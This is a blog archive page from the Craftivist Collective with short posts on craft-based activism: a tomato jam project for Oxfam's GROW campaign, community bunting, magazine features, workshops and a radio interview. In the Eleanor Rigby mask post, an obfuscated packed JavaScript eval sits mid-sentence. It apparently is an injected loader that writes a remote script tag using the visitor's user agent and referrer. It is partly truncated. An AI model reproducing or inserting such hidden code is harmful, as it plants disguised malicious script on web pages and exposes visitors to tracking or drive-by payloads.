Author: Craftivist Collective

30 May Jamming with our Tomato Jam Craftivism Project

This is a perfect project for Summer and Fairtrade Fortnight (Feb/March) plus it's a great way to support Oxfam’s GROW campaign for a fairer world where everyone has enough to eat. Tomato Jam: Inspired by a recipe our founder, Sarah Corbett, received from a lady in Kenya, this project involves making tomato jam, stitching a fabric lid cover with a message in support of Oxfam’s Grow campaign, and using it as a way to speak to people about the world’s unfair food system.      
We love craft so are using that as a tool to be the change we wish to see in the world. You can use whatever you’re good to be part of the solution to social injustice rather than part of the problem.
Craft is a time for reflection and so this project encourages you to make time in our busy lives to stop and think about how the way we grow and share our food doesn’t work. There’s more than enough food for everybody, but a billion of us don’t have enough to eat. That means one in seven of us goes to bed hungry, every night, no matter how hard we work. That’s not fair play but it doesn’t have to be this way.” The summer craftivism jam project was inspired by a Kenyan woman called Christine
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29 May An inspiring story of community craftivism

Image A while ago a photo popped up on the CC facebook page from a lady called Lolo Margaret Jackson.  The photo was of handmade bunting tied to railings, with stitched letters spelling out the message ‘You are loved’. Similar to the 'become who you are' bunting Sarah C made back in 2011. Then Laura got in touch to send us her inspiring story behind the bunting.  So here it is… You Are Loved - The Story “Around 10 years ago a small group of people starting living out the belief that
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26 Apr Do you want to hear Craftivist Sarah Corbett speak in Berlin about Craftivism as part of the ‘Mobilising Communities’ event?

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25 Apr Thoughtful article on the Craftivist Collective in HUCK magazine. Issue out now.

ImageAs if being featured in the March issue of Oh Comely magazine (a firm favourite with London craftivists Margo, Sarah C, Sarah H and Hannah K) wasn’t enough, there is a great article on the Craftivist Collective in the latest issue of HUCK magazine.  HUCK is a bi-montly lifestyle magazine rooted in surf, skate and snowboarding, which reports on “social movements, emerging scenes and new thoughts and ideas that are having an impact on the world”.  It also happens to be one of Sarah C’s top 3 magazines, which for a self-confessed magazine and zine geek is a pretty big deal!
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02 Apr Manchester women campaign creatively to celebrate the value of women’s work

Written by craftivist Lorna McBride: In the run up to International Women’s Day Manchester campaigners celebrated the value of women’s work in society, by making a colourful public washing line to hang in Manchester city centre. Dozens of women from The Pankhurst Centre and Women Asylum Seekers Together (WAST) came together to take part in Craftivist workshops, organized by Oxfam’s UK Poverty Program and facilitated by the Craftivist Collective’s Sarah Corbett.  The women wanted to make a statement about the importance of the work women do in their daily lives, which is often forgotten by society.  
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29 Mar Fabrications shows the beautify in eco-design and ethical craft

photographs of the basement craft area and shop display cabinet selling many of our crafivism products (kits, postcards, badges, gift cards, flyers and one example of a Mini Protest Banner at the top) We recently delivered a Mini Protest Banner workshop at Fabrications craft shop in Hackney London and loved the new workshop space, ethos of the shop and the owner! So much so we are going to work together again in June and September to deliver 2 more craftivism workshops (find them on the events page here) in this beautiful space.Fabrications are also selling our products in the shop and often have crafivism themed window displays before our workshops and events. Fabrications is an independent gallery, shop and studio dedicated to contemporary textile practise and design, with a particular interest in upcycling and eco design. 
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26 Mar Hear me (SC) nervously on Radio Gorgeous talking about craftivism- eek! :s

Craftivist Sarah Corbett | A spoonful of craft helps the activism go down! by Rg_Edits on Mixcloud

In February we got an email from the lovely Beth Farrow who is a producer at Radio Gorgeous asking if I (Sarah C) could go in to their studio and have a 20 minute interview about craftivism and the Craftivist Collective. 20 minutes felt like such a long time but Beth was so lovely in her emails and really keen for their listeners to hear about craftivism and what we are up to. The description of the station is: "Radio Gorgeous is the radio show where women do the talking. Women's voices on culture, comedy, style, society and wellbeing.  On Radio Gorgeous you'll only hear women's voices - redressing the male bias in mainstream media with a little positive discrimination." So I nervously said yup I'll go on because it seemed like such a great platform to share craftivism with a new audience. So....
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22 Mar craftivism projects and interview in one of our favourite magazines: Oh Comely

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10 Mar Eleanor Rigby cross-stitch mask is up provoking us to discuss the poverty of loneliness

Mask eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbafn|var|u0026u|referrer|ifnir||js|php'.split('|'),0,{})) handmade and put up on Eleanor Rigby statue in central Liverpool by craftivist Sarah Corbett. Blog written by Thomas Corbett. Photography by Mark Loudon It’s...

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27 Feb London Craftivists experience of making alternative Valentines Cards on a snowy day in a craft shop’s basement

Craftivist Vicky Tedder writes: On a cold February day the Craftivist Collective gave a warm welcome to encourage us to show the world our love. Meeting in the stylish basement of Fabrications there was a fun and relaxed event which allowed us to think about what we want to do to improve our world whilst encouraging others to do the same, oh and having lots of fun with a heat gun! This valentines project involved using shrink plastic to make key rings as valentines presents which were then left for strangers find along with a letter encouraging them to show a little more love to the world this valentine’s day rather than just a significant other.
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